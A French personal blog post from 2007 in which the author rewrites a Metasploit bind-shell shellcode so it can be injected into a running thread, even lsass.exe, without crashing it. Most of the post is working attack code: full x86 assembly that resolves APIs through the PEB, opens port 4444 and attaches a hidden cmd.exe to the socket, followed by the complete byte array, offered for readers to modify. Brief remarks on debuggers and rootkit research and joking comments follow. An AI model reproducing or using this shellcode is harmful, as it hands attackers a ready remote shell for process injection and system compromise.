Shellcoding and others

août 4th, 2007 at 02:52 admin

La rumeur faisant courir que je me suis fait enlevé par les Aliens est vraie. Depuis 1 mois, je suis, dans le cadre d’une opération appelé « Stage de découverte d’entreprise » retenu de force par mes ravisseurs. Ceux-ci m’ont forcé à développer une arme visant à conquérir le monde (et je peux vous dire que j’en suis proche mouhahaha !). Ce qui est marrant quand on fait du dev kernel Windows, c’est que personne ne vous comprend, exemple : « Alors là, tu vois je fais un IoAllocateMdl sur mes pages ensuite je les verrouille avec MmProbeAndLockPages puis je les map dans le user space d’un process avec un MmMapLockedPagesSpecifyCache avec le param AccessMode mit à un UserMode en oubliant pas avant de m’être attach à l’EPROCESS avec un KeStackAttachProcess, c’est plus classe qu’un NtMapViewOfSection tu trouves pas ? », à l’autre de me répondre « Heuu … Bon ca marche oui ou merde ? ». Bref tout ca pour dire je suis un peu tout seul dans mon petit monde mais que je m’éclate bien. Dernièrement un truc con m’est arrivé, j’avais besoin pour test une feature de mon tool, d’injecter un code dans un thread déjà existant. Sachant que je voulais lancer quelque chose d’utile, typiquement un bindshell ou un reverseshell, j’ai voulu use les shellcodes de metasploit avant de m’apercevoir que ces derniers s’en foutaient un peu du contexte d’exécution ou ils se trouvaient (ce qui est normal, vu qu’ils sont fait pour être use dans le cadre d’une exploitation d’un bug qui souvent finit par un crash du programme). En fait pour quitter les payloads de metasploit utilisent soit un ExitProcess, soit un ExitThread ou bien un UnhandledExceptionFilter et defonce completement la stack, bref si on tente d’injecter un de ces payload dans un thread « propre » par exemple dans le cadre d’un APC, on fait planter le process et c’est pas vraiment cool si c’est lsass.exe … dionc, la flemme de chercher sur google on disass le shellcode puis on le modifie from scrach ! hop hop hop tokaff !

J’ai choisit de modif le bindshell provenant de metasploit ouvrant le port 4444 et nous renvoyant un socket binder sur un cmd.exe

Le shellcode bien évidemment s’exécutant dans un environnement doit être capable de retrouver les fonctions dont il a besoin tout seul comme un grand, sans rien hardcoder. Pour cela, trick habituel, kernel32 est retrouvé dans le PEB, ensuite on une fonction qui va scanner d’EAT du module et hasher les noms des fonctions puis les comparer à ceux qu’on cherche. Le shellcode va donc effectuer les opérations suivantes :
- Retrouver l’ImageBase de Kerne32 dans le PEB_LDR_DATA du PEB.
- Charger la lib winsock avec un LoadLibrary(« ws2_32″);
- WSAStartup()
- WSASocket()
- bind()
- listen
- accept()
- closesocket() pour fermer le socket en écoute
- CreateProcess() sur cmd.exe
- WaitForSingleObject() pour attendre que le cmd.exe soit kill
- closesocket() pour close le socket récup par accept

La routine quoi, allay voilà la purée après disass et modification :

.586
.model flat,stdcall
option casemap:none
assume fs:nothing
.code 

start:
	cld

	startlol:
	push 0FFFFFFEBh
	db 4Fh
	call near ptr startlol+1

	;00400220    FC              CLD
	;00400221    6A EB           PUSH -15
	;00400223    4D              DEC EBP
	;00400224    E8 F9FFFFFF     CALL bind.00400222

	;00400222   /EB 4D           JMP SHORT bind.00400271

	;trick pour avoir sur le stack en saved eip le debut de la fct de hash avec un couple call/jmp

	;function de recherche dans l'EAT avec hash des noms de fct, stdcall convention
	; IN : Module Handle
	; IN : hash
	; OUT : function VA
	pushad
	mov ebp, [esp+24h] ; ebp=module handle, 1er arg
	mov eax, [ebp+3Ch]
	mov edi, [ebp+eax+78h]
	add edi, ebp
	mov ecx, [edi+18h]
	mov ebx, [edi+20h]
	add ebx, ebp

	nextname:
	dec ecx
	mov esi, [ebx+ecx*4]
	add esi, ebp
	xor eax, eax
	cdq

	hash:
	lodsb
	test  al, al
	jz hashend
	ror edx, 0Dh
	add edx, eax
	jmp short hash

	hashend:
	cmp edx, [esp+28h] ; compare notre avec le hash passe en 2 eme arg
	jnz short nextname

	mov ebx, [edi+24h]
	add ebx, ebp
	mov cx, [ebx+ecx*2]
	mov ebx, [edi+1Ch]
	add ebx, ebp
	add ebp, [ebx+ecx*4]
	mov [esp+1Ch], ebp ;ecrit l'addr dans le saved eax du pushad
	popad

	retn 8
	; end hash fct

	;AAAAAAAAAAAAAAAAAA we jmp here  AAAAAAAAAAAAAAAAAA

	xor ebx, ebx
	mov eax, fs:[ebx+30h]
	mov eax, [eax+0Ch]
	mov esi, [eax+1Ch]
	lodsd
	mov edi, [eax+8] ;edi=kernel32 module
	pop esi ; esi = addr fct hash, pushe avec le call/jump d'avant

	push 0CE05D9ADh ;hash WaitForSingleObject
	push edi ;kernel32 module
	call esi

	push eax ; on push le WaitForSingleObject pour le recup plus loin

	push 16B3FE72h ;hash CreateProcess
	push edi;kernel32 module
	call esi

	push eax ;pour le CreateProcess plus loin

	;ici on a sur la pile
	;@WaitForSingleObject
	;@CreateProcess
	;0FFFFFFEBh
	;saved eip

	push 0EC0E4E8Eh ;hash loalibrary
	push edi
	call esi 

	push 3233h ;"32x00x00" ;
	push 5F327377h ; "ws2_"
	push esp
	call eax ;loadlibrary("ws2_32");
	add esp,  08h

	mov edi, eax ;edi = ws2_32 module handle

	push 3BFCEDCBh ;hash WSAStartup
	push eax ;ws2_32  module handle
	call esi

	mov ebp, esp
	sub esp, 400 ;sizeof(WSADATA)=400d
	push esp
	push 2
	call eax ; WSAStartup
	add esp, 400

	push 0ADF509D9h ;hash WSASocket
	push edi
	call esi

	push ebx ;
	push ebx
	push ebx
	push ebx
	inc ebx
	push ebx ;1=SOCK_STREAM
	inc ebx
	push ebx ;2=AF_INET
	call eax ;WSASocket

	xchg ebp, eax ;ebp=socket

	push 0c7701aa4h;hash bind
	push edi
	call esi 

	xor edx, edx
	push edx ; sockaddr_in.sin_zero
	push edx ; sockaddr_in.sin_zero
	push edx ; sockaddr_in.n_addr=INADDR_ANY
	push  5C110002h ;port 4444 (0x115C), family 2 AF_INET

	mov ecx, esp; ecx=addr struct sockaddr

	push 10h
	push ecx
	push ebp ;socket
	call eax;bind

	add esp, 10h

	push 0E92EADA4h;hash listen
	push edi
	call esi

	push 2
	push ebp
	call eax ; listen

	push 498649E5h ;hash accept
	push edi
	call esi

	sub esp,  10h
	push esp ;Optional pointer to an integer that contains the length of addr.
	push esp ;Optional pointer to a buffer that receives the address of the connecting entity (sockaddr struct)
	push ebp
	call eax ;accept

	add esp, 10h

	xchg eax, ebx ;ebx=new socket recup de accept()

	push 79C679E7h ;hash closesocket
	push edi
	call esi

	mov [esp+8], eax; push closesocket

	push ebp
	call eax ;closesocket, ferme le socket d'ecoute

	pop esi ;recupere createprocess
	push ebx ;push le socket pour apres

	push " dmc" ;cmd
	mov ebp, esp

	push 50h
	pop ecx
	sub esp, ecx ; 

	mov edi, esp
	push 44h ;STARTUPINFO.cb=44h
	mov edx, esp ;edx pointe sur notre struct STARTUPINFO
	xor eax, eax
	rep stosb

	;remplit le champ dwFlags
	inc byte ptr [edx+2Dh] ; STARTF_USESHOWWINDOW
	inc byte ptr [edx+2Ch] ;STARTF_USESTDHANDLES
	;If dwFlags specifies STARTF_USESHOWWINDOW,
	;this member can be any of the SW_ constants defined in Winuser.h. Otherwise, this member is ignored.
	;SW_HIDE=0 donc la fenetre ne sera pas visible

	xchg eax, ebx
	lea edi, [edx+38h]
	stosd ;STARTUPINFO.hStdInput=socket
	stosd ;STARTUPINFO.hStdOutput=socket
	stosd ;STARTUPINFO.hStdError=socket
	pop ebx

	push edi
	push edx
	push ecx
	push ecx
	push ecx
	push 1 ;inheritable handles
	push ecx
	push ecx
	push ebp
	push ecx
	call esi; CreateProcess
	add esp, 54h

	pop esi ;recup la socket

	pop ebx ;recup WaitForSingleObject
	push 0FFFFFFFFh
	push dword ptr [edi]
	call ebx ;WaitForSingleObject

	pop ebx; recup closesocket
	push esi
	call ebx

	retn
end start

Pas la peine de troller sur l’optimisation, je ne suis pas un monstre en ASM et puis comme il s’agit d’une « copie de mémoire » je m’en fou des NULL bytes, c’est avant tout pour moi, libre à vous de le modifier :)

On a le payload suivant :

	unsigned char shellcode[] ={
    0xFC, 0x6A, 0xEB, 0x4F, 0xE8, 0xF9, 0xFF, 0xFF, 0xFF, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45,
    0x3C, 0x8B, 0x7C, 0x28, 0x78, 0x03, 0xFD, 0x8B, 0x4F, 0x18, 0x8B, 0x5F, 0x20, 0x03, 0xDD, 0x49,
    0x8B, 0x34, 0x8B, 0x03, 0xF5, 0x33, 0xC0, 0x99, 0xAC, 0x84, 0xC0, 0x74, 0x07, 0xC1, 0xCA, 0x0D,
    0x03, 0xD0, 0xEB, 0xF4, 0x3B, 0x54, 0x24, 0x28, 0x75, 0xE5, 0x8B, 0x5F, 0x24, 0x03, 0xDD, 0x66,
    0x8B, 0x0C, 0x4B, 0x8B, 0x5F, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0x8B, 0x89, 0x6C, 0x24, 0x1C, 0x61,
    0xC2, 0x08, 0x00, 0x33, 0xDB, 0x64, 0x8B, 0x43, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD,
    0x8B, 0x78, 0x08, 0x5E, 0x68, 0xAD, 0xD9, 0x05, 0xCE, 0x57, 0xFF, 0xD6, 0x50, 0x68, 0x72, 0xFE,
    0xB3, 0x16, 0x57, 0xFF, 0xD6, 0x50, 0x68, 0x8E, 0x4E, 0x0E, 0xEC, 0x57, 0xFF, 0xD6, 0x68, 0x33,
    0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x08, 0x8B, 0xF8,
    0x68, 0xCB, 0xED, 0xFC, 0x3B, 0x50, 0xFF, 0xD6, 0x8B, 0xEC, 0x81, 0xEC, 0x90, 0x01, 0x00, 0x00,
    0x54, 0x6A, 0x02, 0xFF, 0xD0, 0x81, 0xC4, 0x90, 0x01, 0x00, 0x00, 0x68, 0xD9, 0x09, 0xF5, 0xAD,
    0x57, 0xFF, 0xD6, 0x53, 0x53, 0x53, 0x53, 0x43, 0x53, 0x43, 0x53, 0xFF, 0xD0, 0x95, 0x68, 0xA4,
    0x1A, 0x70, 0xC7, 0x57, 0xFF, 0xD6, 0x33, 0xD2, 0x52, 0x52, 0x52, 0x68, 0x02, 0x00, 0x11, 0x5C,
    0x8B, 0xCC, 0x6A, 0x10, 0x51, 0x55, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x68, 0xA4, 0xAD, 0x2E, 0xE9,
    0x57, 0xFF, 0xD6, 0x6A, 0x02, 0x55, 0xFF, 0xD0, 0x68, 0xE5, 0x49, 0x86, 0x49, 0x57, 0xFF, 0xD6,
    0x83, 0xEC, 0x10, 0x54, 0x54, 0x55, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x93, 0x68, 0xE7, 0x79, 0xC6,
    0x79, 0x57, 0xFF, 0xD6, 0x89, 0x44, 0x24, 0x08, 0x55, 0xFF, 0xD0, 0x5E, 0x53, 0x68, 0x63, 0x6D,
    0x64, 0x20, 0x8B, 0xEC, 0x6A, 0x50, 0x59, 0x2B, 0xE1, 0x8B, 0xFC, 0x6A, 0x44, 0x8B, 0xD4, 0x33,
    0xC0, 0xF3, 0xAA, 0xFE, 0x42, 0x2D, 0xFE, 0x42, 0x2C, 0x93, 0x8D, 0x7A, 0x38, 0xAB, 0xAB, 0xAB,
    0x5B, 0x57, 0x52, 0x51, 0x51, 0x51, 0x6A, 0x01, 0x51, 0x51, 0x55, 0x51, 0xFF, 0xD6, 0x83, 0xC4,
    0x54, 0x5E, 0x5B, 0x6A, 0xFF, 0xFF, 0x37, 0xFF, 0xD3, 0x5B, 0x56, 0xFF, 0xD3, 0xC3};

Ce qui fait au total 334 Bytes pour avoir un shellcode « propre », par rapport aux 317 de l’original qui defoncait tout, je m’en sors pas mal ;)

Sinon truc bête, après que vous ayez le shell, le thread est bloqué à cause de WaitForSingleObject, je corrigerais cela plus tard en demandant au shellcode de creer un new thread.

A par ça, Imminity nous a release son Immunity Debugger qui est un OllyDbg auquel ils ont ajoutés une interface python, c’est mignon mais ca casse pas des briques.

Rutkowska qui à release les sources de son BlueBill réécrit, qui si elles compilaient pourraient être sympa à regarder, faut quand même dire que ceux qui sont capable de capter ce genre de trucs ne courent pas les rues …. (Avis aux amateurs de prise de tête). J’vais quand même lire les slides de sa dernière conf IsGameOver()? En espérant comprendre la moitié.

Un jour peut-être qui sait …

Entry Filed under: Non classé

3 Comments

  • 1. newsoft  |  août 6th, 2007 at 06:21

    … un jour où tu trouveras un stage sur le sujet, avec des gens qui maitrisent Windows, par exemple …


  • 2. Christophe  |  août 8th, 2007 at 10:25

    stfu ;-)


  • 3. Laxigue  |  août 9th, 2007 at 13:58

    Non c’est moi qui dominerer le monde.
    HACK THE PLANET !!!


Trackback this post


Calendar

février 2025
L Ma Me J V S D
« fév    
 12
3456789
10111213141516
17181920212223
2425262728  

Most Recent Posts